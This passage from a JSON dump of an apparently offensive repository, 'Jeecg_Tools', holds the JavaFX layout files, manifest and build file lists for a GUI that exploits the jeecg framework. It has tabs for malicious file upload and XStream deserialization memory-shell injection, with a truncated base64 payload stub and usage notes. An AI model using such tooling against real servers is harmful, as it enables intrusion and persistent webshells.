layoutY=\"56.0\" mnemonicParsing=\"false\" text=\"使用请求头\" />\n\n               </children>\n            </AnchorPane>\n        </content>\n      </TitledPane>\n      <TitledPane layoutY=\"139.0\" prefHeight=\"506.0\" prefWidth=\"804.0\" text=\"漏洞利用\">\n         <content>\n            <TabPane prefHeight=\"481.0\" prefWidth=\"802.0\" tabClosingPolicy=\"UNAVAILABLE\">\n              <tabs>\n                <Tab text=\"基本信息\">\n                     <content>\n                        <AnchorPane prefHeight=\"448.0\" prefWidth=\"802.0\">\n                           <children>\n                              <TextArea fx:id=\"INFO_\" layoutX=\"9.0\" layoutY=\"14.0\" prefHeight=\"428.0\" prefWidth=\"785.0\" text=\"&#10;工具说明：本工具为jeecg框架漏洞利用工具非jeecg-boot！\" />\n                           </children>\n                        </AnchorPane>\n                     </content>\n                  </Tab>\n                <Tab text=\"文件上传\">\n                     <content>\n                        <AnchorPane prefHeight=\"414.0\" prefWidth=\"802.0\">\n                           <children>\n                              <Text layoutX=\"14.0\" layoutY=\"34.0\" strokeType=\"OUTSIDE\" strokeWidth=\"0.0\" text=\"文件名称：\" wrappingWidth=\"76.3837890625\" />\n                              <TextArea fx:id=\"FileName_\" layoutX=\"90.0\" layoutY=\"15.0\" minHeight=\"-Infinity\" prefHeight=\"29.0\" prefWidth=\"354.0\" text=\"test.jsp\" />\n                              <Button fx:id=\"FileUpload_\" layoutX=\"464.0\" layoutY=\"16.0\" mnemonicParsing=\"false\" onMousePressed=\"#FileUpload\" text=\"Upload\" />\n                              <TextArea fx:id=\"FileContent_\" layoutX=\"9.0\" layoutY=\"53.0\" prefHeight=\"230.0\" prefWidth=\"785.0\" text=\"&lt;% out.println(&quot;HelloWorld&quot;);%&gt;\" wrapText=\"true\" />\n                              <TextArea fx:id=\"OutPath_\" layoutX=\"9.0\" layoutY=\"290.0\" prefHeight=\"152.0\" prefWidth=\"785.0\" />\n                           </children>\n                        </AnchorPane>\n                     </content></Tab>\n                  <Tab text=\"Xstream内存马\">\n                    <content>\n                      <AnchorPane minHeight=\"0.0\" minWidth=\"0.0\" prefHeight=\"180.0\" prefWidth=\"200.0\">\n                           <children>\n                              <Text layoutX=\"14.0\" layoutY=\"34.0\" strokeType=\"OUTSIDE\" strokeWidth=\"0.0\" text=\"文件名称：\" />\n                              <TextArea fx:id=\"XsFilename_\" layoutX=\"90.0\" layoutY=\"15.0\" minHeight=\"-Infinity\" prefHeight=\"29.0\" prefWidth=\"354.0\" />\n                              <Button fx:id=\"Inject_\" layoutX=\"469.0\" layoutY=\"17.0\" mnemonicParsing=\"false\" onMousePressed=\"#Inject\" text=\"Inject\" />\n                              <TextArea fx:id=\"XsContent_\" layoutX=\"9.0\" layoutY=\"53.0\" prefHeight=\"230.0\" prefWidth=\"785.0\" text=\"JMG工具生成Tomcat-Filter-BASE64-专项JDK_AbstractTranslet内存马Payload &#10;&#10;yv66vgAAADEBtAEAJW9yZy9zc......\" wrapText=\"true\" />\n                              <TextArea fx:id=\"XsXsOut_\" layoutX=\"9.0\" layoutY=\"290.0\" prefHeight=\"152.0\" prefWidth=\"785.0\" text=\"说明：&#10;jeecg Xstream反序列化漏洞通过文件上传触发&#10;&#10;注意：后缀名必须为.zip 且不可重复，否则可能会加载之前的payload\" />\n                           </children>\n                        </AnchorPane>\n                    </content>\n                  </Tab>\n              </tabs>\n            </TabPane>\n         </content>\n      </TitledPane>\n      <MenuBar layoutY=\"-2.0\" prefHeight=\"19.0\" prefWidth=\"804.0\">\n        <menus>\n          <Menu mnemonicParsing=\"false\" text=\"代理\">\n            <items>\n              <MenuItem mnemonicParsing=\"false\" text=\"还没写～\" />\n            </items>\n          </Menu>\n          <Menu mnemonicParsing=\"false\" text=\"关于\">\n            <items>\n              <MenuItem mnemonicParsing=\"false\" text=\"也没有～\" />\n            </items>\n          </Menu>\n        </menus>\n      </MenuBar>\n   </children>\n   <opaqueInsets>\n      <Insets />\n   </opaqueInsets>\n</AnchorPane>\n"
  },
  {
    "path": "target/classes/META-INF/MANIFEST.MF",
    "content": "Manifest-Version: 1.0\r\nMain-Class: com.example.jeecg_tools.MainRunner\r\n\r\n"
  },
  {
    "path": "target/classes/com/example/jeecg_tools/hello-view.fxml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<?import javafx.geometry.Insets?>\n<?import javafx.scene.control.Button?>\n<?import javafx.scene.control.CheckBox?>\n<?import javafx.scene.control.ComboBox?>\n<?import javafx.scene.control.Label?>\n<?import javafx.scene.control.Menu?>\n<?import javafx.scene.control.MenuBar?>\n<?import javafx.scene.control.MenuItem?>\n<?import javafx.scene.control.Tab?>\n<?import javafx.scene.control.TabPane?>\n<?import javafx.scene.control.TextArea?>\n<?import javafx.scene.control.TitledPane?>\n<?import javafx.scene.layout.AnchorPane?>\n<?import javafx.scene.text.Text?>\n\n<AnchorPane prefHeight=\"643.0\" prefWidth=\"804.0\" xmlns=\"http://javafx.com/javafx/17\" xmlns:fx=\"http://javafx.com/fxml/1\" fx:controller=\"com.example.jeecg_tools.HelloController\">\n   <children>\n      <TitledPane layoutY=\"24.0\" prefHeight=\"115.0\" prefWidth=\"804.0\" text=\"漏洞检测\">\n        <content>\n          <AnchorPane minHeight=\"0.0\" minWidth=\"0.0\" prefHeight=\"85.0\" prefWidth=\"802.0\">\n               <children>\n                  <TextArea fx:id=\"URL_\" layoutX=\"64.0\" layoutY=\"13.0\" minHeight=\"-Infinity\" prefHeight=\"29.0\" prefWidth=\"379.0\" text=\"http://192.168.43.54:8080/jeecg\" />\n               \n                                              <Label layoutX=\"8.0\" layoutY=\"19.0\" prefHeight=\"17.0\" prefWidth=\"43.0\" text=\"URL：\" />\n                   <Button fx:id=\"Vulcheck_\" layoutX=\"632.0\" layoutY=\"14.0\" onMousePressed=\"#VulCheck\" text=\"漏洞检测\" textAlignment=\"RIGHT\">\n                     <opaqueInsets>\n                        <Insets left=\"20.0\" />\n                     </opaqueInsets>\n                  </Button>\n                  <Button fx:id=\"Clean_\" layoutX=\"711.0\" layoutY=\"14.0\" mnemonicParsing=\"false\" onMousePressed=\"#onCleanlog\" text=\"清空日志\" />\n                  <ComboBox fx:id=\"comboBox\" layoutX=\"458.0\" layoutY=\"14.0\" prefWidth=\"150.0\" />\n                  <Label layoutX=\"8.0\" layoutY=\"56.0\" prefHeight=\"17.0\" prefWidth=\"58.0\" text=\"请求头：\" wrapText=\"true\" />\n                  <TextArea fx:id=\"HEAD_\" layoutX=\"64.0\" layoutY=\"50.0\" minHeight=\"-Infinity\" prefHeight=\"29.0\" prefWidth=\"545.0\" text=\"Cookie: JSESSIONID=4542BAB4C4C024F42DA05EC85186AE4D;\" wrapText=\"true\" />\n                  <CheckBox fx:id=\"CheckHEAD_\" layoutX=\"626.0\" layoutY=\"56.0\" mnemonicParsing=\"false\" text=\"使用请求头\" />\n\n               </children>\n            </AnchorPane>\n        </content>\n      </TitledPane>\n      <TitledPane layoutY=\"139.0\" prefHeight=\"506.0\" prefWidth=\"804.0\" text=\"漏洞利用\">\n         <content>\n            <TabPane prefHeight=\"481.0\" prefWidth=\"802.0\" tabClosingPolicy=\"UNAVAILABLE\">\n              <tabs>\n                <Tab text=\"基本信息\">\n                     <content>\n                        <AnchorPane prefHeight=\"448.0\" prefWidth=\"802.0\">\n                           <children>\n                              <TextArea fx:id=\"INFO_\" layoutX=\"9.0\" layoutY=\"14.0\" prefHeight=\"428.0\" prefWidth=\"785.0\" text=\"&#10;工具说明：本工具为jeecg框架漏洞利用工具非jeecg-boot！\" />\n                           </children>\n                        </AnchorPane>\n                     </content>\n                  </Tab>\n                <Tab text=\"文件上传\">\n                     <content>\n                        <AnchorPane prefHeight=\"414.0\" prefWidth=\"802.0\">\n                           <children>\n                              <Text layoutX=\"14.0\" layoutY=\"34.0\" strokeType=\"OUTSIDE\" strokeWidth=\"0.0\" text=\"文件名称：\" wrappingWidth=\"76.3837890625\" />\n                              <TextArea fx:id=\"FileName_\" layoutX=\"90.0\" layoutY=\"15.0\" minHeight=\"-Infinity\" prefHeight=\"29.0\" prefWidth=\"354.0\" text=\"test.jsp\" />\n                              <Button fx:id=\"FileUpload_\" layoutX=\"464.0\" layoutY=\"16.0\" mnemonicParsing=\"false\" onMousePressed=\"#FileUpload\" text=\"Upload\" />\n                              <TextArea fx:id=\"FileContent_\" layoutX=\"9.0\" layoutY=\"53.0\" prefHeight=\"230.0\" prefWidth=\"785.0\" text=\"&lt;% out.println(&quot;HelloWorld&quot;);%&gt;\" wrapText=\"true\" />\n                              <TextArea fx:id=\"OutPath_\" layoutX=\"9.0\" layoutY=\"290.0\" prefHeight=\"152.0\" prefWidth=\"785.0\" />\n                           </children>\n                        </AnchorPane>\n                     </content></Tab>\n                  <Tab text=\"Xstream内存马\">\n                    <content>\n                      <AnchorPane minHeight=\"0.0\" minWidth=\"0.0\" prefHeight=\"180.0\" prefWidth=\"200.0\">\n                           <children>\n                              <Text layoutX=\"14.0\" layoutY=\"34.0\" strokeType=\"OUTSIDE\" strokeWidth=\"0.0\" text=\"文件名称：\" />\n                              <TextArea fx:id=\"XsFilename_\" layoutX=\"90.0\" layoutY=\"15.0\" minHeight=\"-Infinity\" prefHeight=\"29.0\" prefWidth=\"354.0\" />\n                              <Button fx:id=\"Inject_\" layoutX=\"469.0\" layoutY=\"17.0\" mnemonicParsing=\"false\" onMousePressed=\"#Inject\" text=\"Inject\" />\n                              <TextArea fx:id=\"XsContent_\" layoutX=\"9.0\" layoutY=\"53.0\" prefHeight=\"230.0\" prefWidth=\"785.0\" text=\"JMG工具生成Tomcat-Filter-BASE64-专项JDK_AbstractTranslet内存马Payload &#10;&#10;yv66vgAAADEBtAEAJW9yZy9zc......\" wrapText=\"true\" />\n                              <TextArea fx:id=\"XsXsOut_\" layoutX=\"9.0\" layoutY=\"290.0\" prefHeight=\"152.0\" prefWidth=\"785.0\" text=\"说明：&#10;jeecg Xstream反序列化漏洞通过文件上传触发&#10;&#10;注意：后缀名必须为.zip 且不可重复，否则可能会加载之前的payload\" />\n                           </children>\n                        </AnchorPane>\n                    </content>\n                  </Tab>\n              </tabs>\n            </TabPane>\n         </content>\n      </TitledPane>\n      <MenuBar layoutY=\"-2.0\" prefHeight=\"19.0\" prefWidth=\"804.0\">\n        <menus>\n          <Menu mnemonicParsing=\"false\" text=\"代理\">\n            <items>\n              <MenuItem mnemonicParsing=\"false\" text=\"开发中～\" />\n            </items>\n          </Menu>\n          <Menu mnemonicParsing=\"false\" text=\"关于\">\n            <items>\n              <MenuItem mnemonicParsing=\"false\" text=\"github:https://github.com/K-7H7l/Jeecg_Tools\" />\n            </items>\n          </Menu>\n        </menus>\n      </MenuBar>\n   </children>\n   <opaqueInsets>\n      <Insets />\n   </opaqueInsets>\n</AnchorPane>\n"
  },
  {
    "path": "target/maven-archiver/pom.properties",
    "content": "artifactId=Jeecg_Tools\ngroupId=com.example\nversion=1.0-SNAPSHOT\n"
  },
  {
    "path": "target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst",
    "content": "com/example/jeecg_tools/entity/Result.class\ncom/example/jeecg_tools/exploit/JEECG_commonUpload.class\ncom/example/jeecg_tools/exploit/JEECG_jeecgFormDemo.class\ncom/example/jeecg_tools/exploit/JEECG_XstreamInject.class\ncom/example/jeecg_tools/HelloApplication.class\ncom/example/jeecg_tools/exploit/JEECG_iconUpload.class\ncom/example/jeecg_tools/util/Tools.class\ncom/example/jeecg_tools/MainRunner.class\ncom/example/jeecg_tools/common/BasePayload.class\ncom/example/jeecg_tools/util/ExppList.class\ncom/example/jeecg_tools/HelloController.class\ncom/example/jeecg_tools/exploit/JEECG_unauthorized.class\n"
  },
  {
    "path": "target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst",
    "content": "/Users/lvlvlv/Jeecg_Tools/src/main/java/com/example/jeecg_tools/exploit/JEECG_commonUpload.java\n/Users/lvlvlv/Jeecg_Tools/src/main/java/com/example/jeecg_tools/HelloApplication.java\n/Users/lvlvlv/Jeecg_Tools/src/main/java/com/example/jeecg_tools/entity/Result.java\n/Users/lvlvlv/Jeecg_Tools/src/main/java/com/example/jeecg_tools/exploit/JEECG_XstreamInject.java\n/Users/lvlvlv/Jeecg_Tools/src/main/java/com/example/jeecg_tools/common/BasePayload.java\n/Users/lvlvlv/Jeecg_Tools/src/main/java/com/example/jeecg_tools/exploit/JEECG_unauthorized.java\n/Users/lvlvlv/Jeecg_Tools/src/main/java/com/example/jeecg_tools/exploit/JEECG_iconUpload.java\n/Users/lvlvlv/Jeecg_Tools/src/main/java/com/example/jeecg_tools/HelloController.java\n/Users/lvlvlv/Jeecg_Tools/src/main/java/com/example/jeecg_tools/util/Tools.java\n/Users/lvlvlv/Jeecg_Tools/src/main/java/com/example/jeecg_tools/exploit/JEECG_jeecgFormDemo.java\n/Users/lvlvlv/Jeecg_Tools/src/main/java/com/example/jeecg_tools/util/ExppList.java\n/Users/lvlvlv/Jeecg_Tools/src/main/java/com/example/jeecg_tools/MainRunner.java\n"
  }
]